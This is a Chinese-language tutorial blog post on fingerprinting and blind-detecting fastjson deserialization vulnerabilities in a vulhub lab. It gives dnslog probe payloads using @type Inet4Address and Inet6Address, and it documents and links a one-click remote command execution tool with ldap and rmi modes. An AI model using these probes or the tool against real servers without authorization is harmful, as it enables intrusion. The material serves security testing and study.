0x01 序章
上次讲解过手动利用fastjson,但讲的过于太简单了。根据大家的反应,收集如下几个问题。
1、如何盲打fastjson
2、判断fastjson的指纹
3、各版本payload以及使用ldap模式监听。
下面我就一一解答,我只是把我在网上查到的资料消化 后分享给大家,如果有大佬觉得哪里不对,还望不吝赐教。这次还带来了一键利用及检测工具,链接在文末。
注:本文仅用于技术讨论与研究,严禁用于任何违法用途,违者后果自负
0x02 环境搭建
这个不用多说了吧,使用vulhub搭建。
启动fastjson:1.2.24或者fastjson:1.2.45都可以。
判断fastjson:
无特殊配置情况下fastjson,无正确的闭合会报错,返回结果里有fastjson字样。
从上图可以看出,我们使用了一个花括号,fastjson处理json时会返回报错信息。
有的小伙伴就问了,如果是配置了不返回报错信息怎么办?那这种情况就只有利用dnslog盲打了。
这里有个小技巧就是,如果你批量检查或者自己的dnslog,里面有很多记录。你可以这样使用'baidu'.d1flzs.dnslog.cn,在dnslog前面加个名称
盲打payload:
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
0x03 工具使用
下面讲解工具使用,这是通过GitHub上大佬工具改造的。
支持rmi及ldap两种模式
参数介绍:
-h, --help //查看帮助
-u, --url //漏洞url
-c, --commamd //执行命令
-m, --mode //选择执行模式(可选),1:ldap模式(默认);2:rmi模式
演示效果(dnslog):
演示效果(创建文件):
0x04 批量检测
工具链接:
https://github.com/mrknow001/fastjson_rec_exploit